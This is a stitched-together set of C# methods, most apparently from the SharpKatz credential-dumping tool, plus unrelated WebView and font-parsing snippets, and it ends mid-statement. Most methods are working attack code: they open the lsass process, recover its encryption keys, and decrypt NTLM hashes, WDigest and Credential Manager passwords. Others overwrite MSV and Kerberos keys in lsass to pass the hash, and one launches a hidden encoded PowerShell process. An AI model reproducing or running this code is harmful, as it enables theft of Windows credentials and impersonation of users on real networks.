private void Initialize() { Verify.AreEqual(_initializationState, InitializationState.IsInitializing); // This is causing freezing if (!DesignMode) { OSVersionHelper.ThrowIfBeforeWindows10April2018(); if (!WebViewControlInitialized) { if (Process == null) { // Was not injected via ctor, create using defaults var options = new Interop.WinRT.WebViewControlProcessOptions() { PrivateNetworkClientServerCapability = (Interop.WinRT.WebViewControlProcessCapabilityState)(_delayedPrivateNetworkEnabled ? WebViewControlProcessCapabilityState.Enabled : WebViewControlProcessCapabilityState.Disabled), EnterpriseId = _delayedEnterpriseId }; Process = new WebViewControlProcess(options); } else { Verify.IsNotNull(Process); _delayedPrivateNetworkEnabled = Process.IsPrivateNetworkClientServerCapabilityEnabled; _delayedEnterpriseId = Process.EnterpriseId; } Verify.IsNotNull(Process); _webViewControl = Process.CreateWebViewControlHost(Handle, ClientRectangle); SubscribeEvents(); // Set values. They could have been changed in the designer IsScriptNotifyAllowed = _delayedIsScriptNotifyAllowed; IsIndexedDBEnabled = _delayedIsIndexDbEnabled; IsJavaScriptEnabled = _delayedIsJavaScriptEnabled; // This will cause a navigation Source = _delayedSource; } else { // Already provided control SubscribeEvents(); } _webViewControl.IsVisible = true; } _initializationState = InitializationState.IsInitialized; }
public static int CreateNtlmPowershell(string user, string domain, string ntlmHash, string arguments) { if (IntPtr.Size != 8) { Console.WriteLine("Windows 32bit not supported"); return(0); } OSVersionHelper osHelper = new OSVersionHelper(); if (osHelper.build <= 9600) { Console.WriteLine("Unsupported OS Version"); return(0); } int procid = 0; string argument = String.Format("/c powershell.exe -nop -w hidden -enc {0}", Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(arguments))); string aes128 = null; string aes256 = null; string rc4 = null; string binary = null; string luid = null; Utility.SetDebugPrivilege(); IntPtr lsasrv = IntPtr.Zero; IntPtr wdigest = IntPtr.Zero; IntPtr lsassmsv1 = IntPtr.Zero; IntPtr kerberos = IntPtr.Zero; IntPtr tspkg = IntPtr.Zero; IntPtr lsasslive = IntPtr.Zero; IntPtr hProcess = IntPtr.Zero; Process plsass = Process.GetProcessesByName("lsass")[0]; ProcessModuleCollection processModules = plsass.Modules; int modulefound = 0; for (int i = 0; i < processModules.Count && modulefound < 5; i++) { string lower = processModules[i].ModuleName.ToLowerInvariant(); if (lower.Contains("lsasrv.dll")) { lsasrv = processModules[i].BaseAddress; modulefound++; } else if (lower.Contains("kerberos.dll")) { kerberos = processModules[i].BaseAddress; modulefound++; } } binary = "cmd.exe"; hProcess = Natives.OpenProcess(Natives.ProcessAccessFlags.All, false, plsass.Id); Keys keys = new Keys(hProcess, lsasrv, osHelper); procid = Ptp.CreateProcess(hProcess, lsasrv, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), user, domain, ntlmHash, aes128, aes256, rc4, binary, argument, luid, false); return(procid); }
public static List <byte[]> FindCredentials(IntPtr hLsass, IntPtr msvMem, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { IntPtr kerbUnloadLogonSessionTableAddr; kerbUnloadLogonSessionTableAddr = Utility.GetListAdress(hLsass, msvMem, "kerberos.dll", max_search_size, oshelper.KerbUnloadLogonSessionTableOffset, oshelper.KerbUnloadLogonSessionTableSign); GetKerberosLogonList(ref hLsass, kerbUnloadLogonSessionTableAddr, oshelper, iv, aeskey, deskey, logonlist); return(GetKerberosLogonList(ref hLsass, kerbUnloadLogonSessionTableAddr, oshelper, iv, aeskey, deskey, logonlist));; }
public static void SetThreadToken(string user, string domain, string ntlmHash) { if (IntPtr.Size != 8) { Console.WriteLine("Windows 32bit not supported"); return; } OSVersionHelper osHelper = new OSVersionHelper(); if (osHelper.build <= 9600) { Console.WriteLine("Unsupported OS Version"); return; } string aes128 = null; string aes256 = null; string rc4 = null; string binary = null; string arguments = null; string luid = null; Utility.SetDebugPrivilege(); IntPtr lsasrv = IntPtr.Zero; IntPtr wdigest = IntPtr.Zero; IntPtr lsassmsv1 = IntPtr.Zero; IntPtr kerberos = IntPtr.Zero; IntPtr tspkg = IntPtr.Zero; IntPtr lsasslive = IntPtr.Zero; IntPtr hProcess = IntPtr.Zero; Process plsass = Process.GetProcessesByName("lsass")[0]; ProcessModuleCollection processModules = plsass.Modules; int modulefound = 0; for (int i = 0; i < processModules.Count && modulefound < 5; i++) { string lower = processModules[i].ModuleName.ToLowerInvariant(); if (lower.Contains("lsasrv.dll")) { lsasrv = processModules[i].BaseAddress; modulefound++; } else if (lower.Contains("kerberos.dll")) { kerberos = processModules[i].BaseAddress; modulefound++; } } binary = "cmd.exe"; hProcess = Natives.OpenProcess(Natives.ProcessAccessFlags.All, false, plsass.Id); Keys keys = new Keys(hProcess, lsasrv, osHelper); Pth.CreateProcess(hProcess, lsasrv, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), user, domain, ntlmHash, aes128, aes256, rc4, binary, arguments, luid, true); //Ptp.CreateProcess(hProcess, lsasrv, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), user, domain, ntlmHash, aes128, aes256, rc4, binary, arguments, luid, false); }
/// <summary> /// Find the OS specific font family from a collection in the CompositeFont /// /// We must compare the OS in the font family against the current version. The CompositeFont file /// is in descending OS order. /// </summary> private void ParseFontFamilyCollectionElement() { bool foundOsSection = false; OperatingSystemVersion fontFamilyOsVersion; while (_reader.Read()) { // Once we find a FontFamilyElement with the proper OS attribute, parse it if (Enum.TryParse(_reader.GetAttribute("OS"), out fontFamilyOsVersion) && OSVersionHelper.IsOsVersionOrGreater(fontFamilyOsVersion)) { foundOsSection = true; ParseFontFamilyElement(); return; } } if (!foundOsSection) { Fail(string.Format("No FontFamily element found in FontFamilyCollection that matches current OS or greater: {0}", OSVersionHelper.GetOsVersion().ToString())); } }
public static int FindCredentials(IntPtr hLsass, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { foreach (Logon logon in logonlist) { IntPtr lsasscred = logon.pCredentials; LUID luid = logon.LogonId; if (lsasscred != IntPtr.Zero) { Msv msventry = new Msv(); KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials; while (lsasscred != IntPtr.Zero) { byte[] credentialsBytes = Utility.ReadFromLsass(ref hLsass, lsasscred, Marshal.SizeOf(typeof(KIWI_MSV1_0_CREDENTIALS))); IntPtr pPrimaryCredentials = new IntPtr(BitConverter.ToInt64(credentialsBytes, Utility.FieldOffset <KIWI_MSV1_0_CREDENTIALS>("PrimaryCredentials"))); IntPtr pNext = new IntPtr(BitConverter.ToInt64(credentialsBytes, Utility.FieldOffset <KIWI_MSV1_0_CREDENTIALS>("next"))); lsasscred = pPrimaryCredentials; while (lsasscred != IntPtr.Zero) { byte[] primaryCredentialsBytes = Utility.ReadFromLsass(ref hLsass, lsasscred, Marshal.SizeOf(typeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS))); primaryCredentials = Utility.ReadStruct <KIWI_MSV1_0_PRIMARY_CREDENTIALS>(primaryCredentialsBytes); primaryCredentials.Credentials = Utility.ExtractUnicodeString(hLsass, IntPtr.Add(lsasscred, oshelper.MSV1CredentialsOffset)); primaryCredentials.Primary = Utility.ExtractUnicodeString(hLsass, IntPtr.Add(lsasscred, oshelper.MSV1PrimaryOffset)); if (Utility.ExtractANSIStringString(hLsass, primaryCredentials.Primary).Equals("Primary")) { byte[] msvCredentialsBytes = Utility.ReadFromLsass(ref hLsass, primaryCredentials.Credentials.Buffer, primaryCredentials.Credentials.MaximumLength); byte[] msvDecryptedCredentialsBytes = BCrypt.DecryptCredentials(msvCredentialsBytes, iv, aeskey, deskey); UNICODE_STRING usLogonDomainName = Utility.ReadStruct <UNICODE_STRING>(Utility.GetBytes(msvDecryptedCredentialsBytes, oshelper.LogonDomainNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); UNICODE_STRING usUserName = Utility.ReadStruct <UNICODE_STRING>(Utility.GetBytes(msvDecryptedCredentialsBytes, oshelper.UserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); msventry = new Msv(); msventry.DomainName = Encoding.Unicode.GetString(Utility.GetBytes(msvDecryptedCredentialsBytes, usLogonDomainName.Buffer.ToInt64(), usLogonDomainName.Length)); msventry.UserName = Encoding.Unicode.GetString(Utility.GetBytes(msvDecryptedCredentialsBytes, usUserName.Buffer.ToInt64(), usUserName.Length)); msventry.Lm = Utility.PrintHashBytes(Utility.GetBytes(msvDecryptedCredentialsBytes, oshelper.LmOwfPasswordOffset, LM_NTLM_HASH_LENGTH)); msventry.Ntlm = Utility.PrintHashBytes(Utility.GetBytes(msvDecryptedCredentialsBytes, oshelper.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH)); msventry.Sha1 = Utility.PrintHashBytes(Utility.GetBytes(msvDecryptedCredentialsBytes, oshelper.ShaOwPasswordOffset, SHA_DIGEST_LENGTH)); msventry.Dpapi = Utility.PrintHashBytes(Utility.GetBytes(msvDecryptedCredentialsBytes, oshelper.DPAPIProtectedOffset, LM_NTLM_HASH_LENGTH)); Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { Console.WriteLine("[x] Something goes wrong"); } else { currentlogon.Msv = msventry; } } lsasscred = primaryCredentials.next; } lsasscred = pNext; } } } return(0); }
public static int WriteMsvCredentials(IntPtr hLsass, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist, ref SEKURLSA_PTH_DATA pthData) { foreach (Logon logon in logonlist) { LUID lu = pthData.LogonId; if (pthData.LogonId.HighPart == logon.LogonId.HighPart && pthData.LogonId.LowPart == logon.LogonId.LowPart) { IntPtr lsasscred = logon.pCredentials; LUID luid = logon.LogonId; if (lsasscred != IntPtr.Zero) { KIWI_MSV1_0_PRIMARY_CREDENTIALS primaryCredentials; while (lsasscred != IntPtr.Zero) { byte[] credentialsBytes = Utility.ReadFromLsass(ref hLsass, lsasscred, Marshal.SizeOf(typeof(KIWI_MSV1_0_CREDENTIALS))); IntPtr pPrimaryCredentials = new IntPtr(BitConverter.ToInt64(credentialsBytes, Utility.FieldOffset <KIWI_MSV1_0_CREDENTIALS>("PrimaryCredentials"))); IntPtr pNext = new IntPtr(BitConverter.ToInt64(credentialsBytes, Utility.FieldOffset <KIWI_MSV1_0_CREDENTIALS>("next"))); lsasscred = pPrimaryCredentials; while (lsasscred != IntPtr.Zero) { byte[] primaryCredentialsBytes = Utility.ReadFromLsass(ref hLsass, lsasscred, Marshal.SizeOf(typeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS))); primaryCredentials = Utility.ReadStruct <KIWI_MSV1_0_PRIMARY_CREDENTIALS>(primaryCredentialsBytes); primaryCredentials.Credentials = Utility.ExtractUnicodeString(hLsass, IntPtr.Add(lsasscred, oshelper.MSV1CredentialsOffset)); primaryCredentials.Primary = Utility.ExtractUnicodeString(hLsass, IntPtr.Add(lsasscred, oshelper.MSV1PrimaryOffset)); if (Utility.ExtractANSIStringString(hLsass, primaryCredentials.Primary).Equals("Primary")) { byte[] msvCredentialsBytes = Utility.ReadFromLsass(ref hLsass, primaryCredentials.Credentials.Buffer, primaryCredentials.Credentials.MaximumLength); byte[] msvDecryptedCredentialsBytes = BCrypt.DecryptCredentials(msvCredentialsBytes, iv, aeskey, deskey); msvDecryptedCredentialsBytes[oshelper.IsShaOwPasswordOffset] = Convert.ToByte(false); msvDecryptedCredentialsBytes[oshelper.IsLmOwfPasswordOffset] = Convert.ToByte(false); msvDecryptedCredentialsBytes[oshelper.IsIsoOffset] = Convert.ToByte(false); byte[] zeroLM = new byte[LM_NTLM_HASH_LENGTH]; byte[] zeroSHA = new byte[SHA_DIGEST_LENGTH]; if (oshelper.IsDPAPIProtectedOffset != 0) { msvDecryptedCredentialsBytes[oshelper.IsDPAPIProtectedOffset] = Convert.ToByte(false); Array.Copy(zeroLM, 0, msvDecryptedCredentialsBytes, oshelper.DPAPIProtectedOffset, LM_NTLM_HASH_LENGTH); } Array.Copy(zeroLM, 0, msvDecryptedCredentialsBytes, oshelper.LmOwfPasswordOffset, LM_NTLM_HASH_LENGTH); Array.Copy(zeroSHA, 0, msvDecryptedCredentialsBytes, oshelper.ShaOwPasswordOffset, SHA_DIGEST_LENGTH); if (pthData.NtlmHash != null) { msvDecryptedCredentialsBytes[oshelper.IsNtOwfPasswordOffset] = Convert.ToByte(true); Array.Copy(pthData.NtlmHash, 0, msvDecryptedCredentialsBytes, oshelper.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH); } else { msvDecryptedCredentialsBytes[oshelper.IsNtOwfPasswordOffset] = Convert.ToByte(false); Array.Copy(zeroLM, 0, msvDecryptedCredentialsBytes, oshelper.NtOwfPasswordOffset, LM_NTLM_HASH_LENGTH); } byte[] msvEncryptedCredentialsBytes = BCrypt.EncryptCredentials(msvDecryptedCredentialsBytes, iv, aeskey, deskey); pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, primaryCredentials.Credentials.Buffer, msvEncryptedCredentialsBytes); if (pthData.isReplaceOk) { return(0); } else { Console.WriteLine(" Error replacing credential"); return(1); } } lsasscred = primaryCredentials.next; } lsasscred = pNext; } } } } return(0); }
public static int FindCredentials(IntPtr hLsass, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { foreach (Logon logon in logonlist) { IntPtr credmanMem = logon.pCredentialManager; LUID luid = logon.LogonId; IntPtr llCurrent; int reference = 1; //Console.WriteLine("[*] Credman CredmanListSet found at address {0:X} {1:X}", luid.LowPart, credmanMem.ToInt64()); byte[] credmansetBytes = Utility.ReadFromLsass(ref hLsass, credmanMem, Marshal.SizeOf(typeof(KIWI_CREDMAN_SET_LIST_ENTRY))); IntPtr pList1 = new IntPtr(BitConverter.ToInt64(credmansetBytes, Utility.FieldOffset <KIWI_CREDMAN_SET_LIST_ENTRY>("list1"))); IntPtr refer = IntPtr.Add(pList1, Utility.FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start")); byte[] credmanstarterBytes = Utility.ReadFromLsass(ref hLsass, pList1, Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_STARTER))); IntPtr pStart = new IntPtr(BitConverter.ToInt64(credmanstarterBytes, Utility.FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start"))); if (pStart == IntPtr.Zero) { continue; } llCurrent = pStart; if (llCurrent == refer) { continue; } do { byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Subtract(llCurrent, Utility.FieldOffset <KIWI_CREDMAN_LIST_ENTRY>("Flink")), Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_ENTRY))); KIWI_CREDMAN_LIST_ENTRY entry = Utility.ReadStruct <KIWI_CREDMAN_LIST_ENTRY>(entryBytes); string username = Utility.ExtractUnicodeStringString(hLsass, entry.user); string domain = Utility.ExtractUnicodeStringString(hLsass, entry.server1); string passDecrypted = ""; byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, entry.encPassword, entry.cbEncPassword); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); if (msvDecryptedPasswordBytes != null && msvDecryptedPasswordBytes.Length > 0) { UnicodeEncoding encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = Utility.PrintHexBytes(msvDecryptedPasswordBytes); } } if (!string.IsNullOrEmpty(username) && username.Length > 1) { Credential.CredMan credmanentry = new Credential.CredMan(); credmanentry.Reference = reference; credmanentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { credmanentry.DomainName = domain; } else { credmanentry.DomainName = "[NULL]"; } // Check if password is present if (!string.IsNullOrEmpty(passDecrypted)) { credmanentry.Password = passDecrypted; } else { credmanentry.Password = "******"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Credman = new List <Credential.CredMan>(); currentlogon.Credman.Add(credmanentry); logonlist.Add(currentlogon); } else { if (currentlogon.Credman == null) { currentlogon.Credman = new List <Credential.CredMan>(); } currentlogon.Credman.Add(credmanentry); } } reference++; llCurrent = entry.Flink; } while (llCurrent != IntPtr.Zero && llCurrent != refer); } return(0); }
public static void GetLiveCreds(IntPtr lsassHandle) { if (IntPtr.Size != 8) { Console.WriteLine("Windows 32bit not supported"); Environment.Exit(-1); } OSVersionHelper osHelper = new OSVersionHelper(); osHelper.PrintOSVersion(); if (osHelper.build <= 9600) { Console.WriteLine("Unsupported OS Version"); return; } IntPtr lsasrv = IntPtr.Zero; IntPtr wdigest = IntPtr.Zero; IntPtr lsassmsv1 = IntPtr.Zero; IntPtr kerberos = IntPtr.Zero; IntPtr tspkg = IntPtr.Zero; IntPtr lsasslive = IntPtr.Zero; IntPtr hProcess = lsassHandle; Process plsass = Process.GetProcessesByName("lsass")[0]; ProcessModuleCollection processModules = plsass.Modules; int modulefound = 0; for (int i = 0; i < processModules.Count && modulefound < 5; i++) { string lower = processModules[i].ModuleName.ToLowerInvariant(); if (lower.Contains("lsasrv.dll")) { lsasrv = processModules[i].BaseAddress; modulefound++; } else if (lower.Contains("wdigest.dll")) { wdigest = processModules[i].BaseAddress; modulefound++; } else if (lower.Contains("msv1_0.dll")) { lsassmsv1 = processModules[i].BaseAddress; modulefound++; } else if (lower.Contains("kerberos.dll")) { kerberos = processModules[i].BaseAddress; modulefound++; } else if (lower.Contains("tspkg.dll")) { tspkg = processModules[i].BaseAddress; modulefound++; } } Keys keys = new Keys(hProcess, lsasrv, osHelper); List <SharpKatz.Credential.Logon> logonlist = new List <SharpKatz.Credential.Logon>(); SharpKatz.Module.LogonSessions.FindCredentials(hProcess, lsasrv, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); SharpKatz.Module.Msv1.FindCredentials(hProcess, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); SharpKatz.Module.CredMan.FindCredentials(hProcess, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); SharpKatz.Module.Tspkg.FindCredentials(hProcess, tspkg, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); List <SharpKatz.Module.Kerberos.KerberosLogonItem> klogonlist = SharpKatz.Module.Kerberos.FindCredentials(hProcess, kerberos, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); foreach (SharpKatz.Module.Kerberos.KerberosLogonItem l in klogonlist) { SharpKatz.Module.Kerberos.GetCredentials(ref hProcess, l.LogonSessionBytes, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); } SharpKatz.Module.WDigest.FindCredentials(hProcess, wdigest, osHelper, keys.GetIV(), keys.GetAESKey(), keys.GetDESKey(), logonlist); Utility.PrintLogonList(logonlist); }
// Hunts through wdigest and extracts credentials to be decrypted public static int FindCredentials(IntPtr hLsass, IntPtr wdigestMem, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { KIWI_WDIGEST_LIST_ENTRY entry; IntPtr logSessListAddr; IntPtr llCurrent; string passDecrypted = ""; logSessListAddr = Utility.GetListAdress(hLsass, wdigestMem, "wdigest.dll", max_search_size, -4, oshelper.logSessListSig); //Console.WriteLine("[*] l_LogSessList found at address {0:X}", logSessListAddr.ToInt64()); byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, logSessListAddr, Marshal.SizeOf(typeof(KIWI_WDIGEST_LIST_ENTRY))); IntPtr pThis = new IntPtr(BitConverter.ToInt64(entryBytes, Utility.FieldOffset <KIWI_WDIGEST_LIST_ENTRY>("This"))); llCurrent = pThis; do { entryBytes = Utility.ReadFromLsass(ref hLsass, llCurrent, Marshal.SizeOf(typeof(KIWI_WDIGEST_LIST_ENTRY))); entry = Utility.ReadStruct <KIWI_WDIGEST_LIST_ENTRY>(entryBytes); if (entry.UsageCount == 1) { IntPtr pUsername = IntPtr.Add(llCurrent, oshelper.USERNAME_OFFSET); IntPtr pHostname = IntPtr.Add(llCurrent, oshelper.HOSTNAME_OFFSET); IntPtr pPassword = IntPtr.Add(llCurrent, oshelper.PASSWORD_OFFSET); string username = Utility.ExtractUnicodeStringString(hLsass, Utility.ExtractUnicodeString(hLsass, pUsername)); string hostname = Utility.ExtractUnicodeStringString(hLsass, Utility.ExtractUnicodeString(hLsass, pHostname)); string password = Utility.ExtractUnicodeStringString(hLsass, Utility.ExtractUnicodeString(hLsass, pPassword)); if (!string.IsNullOrEmpty(username) && username.Length > 1) { LUID luid = entry.LocallyUniqueIdentifier; Credential.WDigest wdigestentry = new Credential.WDigest(); wdigestentry.UserName = username; if (!string.IsNullOrEmpty(hostname)) { wdigestentry.HostName = hostname; } else { wdigestentry.HostName = "[NULL]"; } // Check if password is present if (!string.IsNullOrEmpty(password) && (password.Length % 2) == 0) { // Decrypt password using recovered AES/3Des keys and IV passDecrypted = Encoding.Unicode.GetString(BCrypt.DecryptCredentials(Encoding.Unicode.GetBytes(password), iv, aeskey, deskey)); if (passDecrypted.Length > 0) { wdigestentry.Password = passDecrypted; } } else { wdigestentry.Password = "******"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid) { UserName = username, Wdigest = wdigestentry }; logonlist.Add(currentlogon); } else { currentlogon.Wdigest = wdigestentry; } } } llCurrent = entry.Flink; } while (llCurrent != logSessListAddr); return(0); }
public static void WriteKerberosKeys(ref IntPtr hLsass, KerberosLogonItem krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA pthData) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; byte[] krbrLogonSessionBites = krbrLogonSession.LogonSessionBytes; byte[] encNtlmHashBytes = null; byte[] encAes128Bytes = null; byte[] encAes256Bytes = null; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSessionBites, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBites, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); if (pthData.LogonId.HighPart != luid.HighPart || pthData.LogonId.LowPart != luid.LowPart) { return; } byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); if (pthData.NtlmHash != null) { encNtlmHashBytes = Crypto.BCrypt.EncryptCredentials(pthData.NtlmHash, iv, aeskey, deskey); } if (pthData.Aes128Key != null) { encAes128Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes128Key, iv, aeskey, deskey); } if (pthData.Aes256Key != null) { encAes256Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes256Key, iv, aeskey, deskey); } int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); pthData.isReplaceOk = true; for (int i = 0; (i < items) && pthData.isReplaceOk; i++) { byte[] bytesToWrite = null; int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if (encNtlmHashBytes != null && ((entry.Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (entry.Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && ((int)entry.Size == LM_NTLM_HASH_LENGTH)) { bytesToWrite = encNtlmHashBytes; } else if (encAes128Bytes != null && (entry.Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_128_KEY_LENGTH)) { bytesToWrite = encAes128Bytes; } else if (encAes256Bytes != null && (entry.Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_256_KEY_LENGTH)) { bytesToWrite = encAes256Bytes; } if (bytesToWrite != null) { pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, checksum.Buffer, bytesToWrite); } } if (pthData.isReplaceOk) { byte[] pasreplace = new byte[oshelper.KerberosPasswordEraseSize]; pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, IntPtr.Add(krbrLogonSession.LogonSessionAddress, oshelper.KerberosOffsetPasswordErase), pasreplace); } }
private static void WalkAVLTables(ref IntPtr hLsass, IntPtr pElement, List <byte[]> klogonlist, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { if (pElement == null) { return; } byte[] entryBytes = Utility.ReadFromLsass(ref hLsass, pElement, Convert.ToUInt64(Marshal.SizeOf(typeof(RTL_AVL_TABLE)))); RTL_AVL_TABLE entry = Utility.ReadStruct <RTL_AVL_TABLE>(entryBytes); if (entry.OrderedPointer != IntPtr.Zero) { byte[] krbrLogonSessionBytes = Utility.ReadFromLsass(ref hLsass, entry.OrderedPointer, Convert.ToUInt64(oshelper.LogonSessionTypeSize)); klogonlist.Add(krbrLogonSessionBytes); } if (entry.BalancedRoot.RightChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.RightChild, klogonlist, oshelper, iv, aeskey, deskey, logonlist); } if (entry.BalancedRoot.LeftChild != IntPtr.Zero) { WalkAVLTables(ref hLsass, entry.BalancedRoot.LeftChild, klogonlist, oshelper, iv, aeskey, deskey, logonlist); } }
public static int CreateProcess(IntPtr hProcess, IntPtr lsasrvMem, IntPtr kerberos, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, string user, string domain, string ntlmHash = null, string aes128 = null, string aes256 = null, string rc4 = null, string binary = "cmd.exe", string arguments = "", string luid = null, bool impersonate = false) { TOKEN_STATISTICS tokenStats = new TOKEN_STATISTICS(); byte[] aes128bytes = null; byte[] aes256bytes = null; Pth.SEKURLSA_PTH_DATA data = new Pth.SEKURLSA_PTH_DATA(); byte[] ntlmHashbytes = null; int procid; if (!string.IsNullOrEmpty(luid)) { tokenStats.AuthenticationId.HighPart = 0; tokenStats.AuthenticationId.LowPart = uint.Parse(luid); data.LogonId = tokenStats.AuthenticationId; } else { if (string.IsNullOrEmpty(user)) { Console.WriteLine("[x] Missing required parameter user"); return(1); } if (string.IsNullOrEmpty(domain)) { Console.WriteLine("[x] Missing required parameter domain"); return(1); } } try { if (!string.IsNullOrEmpty(aes128)) { aes128bytes = Utility.StringToByteArray(aes128); if (aes128bytes.Length != AES_128_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes128Key = aes128bytes; Console.WriteLine("[*] AES128\t: {0}", Utility.PrintHexBytes(aes128bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(aes256)) { aes256bytes = Utility.StringToByteArray(aes256); if (aes256bytes.Length != AES_256_KEY_LENGTH) { throw new System.ArgumentException(); } data.Aes256Key = aes256bytes; Console.WriteLine("[*] AES256\t: {0}", Utility.PrintHexBytes(aes256bytes)); } } catch (Exception) { Console.WriteLine("[x] Invalid aes128 key"); return(1); } try { if (!string.IsNullOrEmpty(rc4)) { ntlmHashbytes = Utility.StringToByteArray(rc4); } if (!string.IsNullOrEmpty(ntlmHash)) { ntlmHashbytes = Utility.StringToByteArray(ntlmHash); } if (ntlmHashbytes.Length != Msv1.LM_NTLM_HASH_LENGTH) { throw new System.ArgumentException(); } data.NtlmHash = ntlmHashbytes; } catch (Exception) { Console.WriteLine("[x] Invalid Ntlm hash/rc4 key"); return(1); } if (data.NtlmHash != null || data.Aes128Key != null || data.Aes256Key != null) { if (!string.IsNullOrEmpty(luid)) { Pth_luid(hProcess, lsasrvMem, kerberos, oshelper, iv, aeskey, deskey, ref data); } else if (!string.IsNullOrEmpty(user)) { //pipe for stdin and stdout var saHandles = new SECURITY_ATTRIBUTES(); saHandles.nLength = Marshal.SizeOf(saHandles); saHandles.bInheritHandle = true; saHandles.lpSecurityDescriptor = IntPtr.Zero; IntPtr hStdOutRead; IntPtr hStdOutWrite; IntPtr hStdInRead; IntPtr hStdInWrite; // StdOut pipe CreatePipe(out hStdOutRead, out hStdOutWrite, ref saHandles, 999999); SetHandleInformation(hStdOutRead, HANDLE_FLAGS.INHERIT, 0); // StdIn pipe CreatePipe(out hStdInRead, out hStdInWrite, ref saHandles, 999999); SetHandleInformation(hStdInWrite, HANDLE_FLAGS.INHERIT, 0); // PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFOEX si = new STARTUPINFOEX(); si.StartupInfo.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFOEX)); si.StartupInfo.hStdInput = hStdInRead; si.StartupInfo.hStdErr = hStdOutWrite; si.StartupInfo.hStdOutput = hStdOutWrite; si.StartupInfo.dwFlags = 0x00000001 | 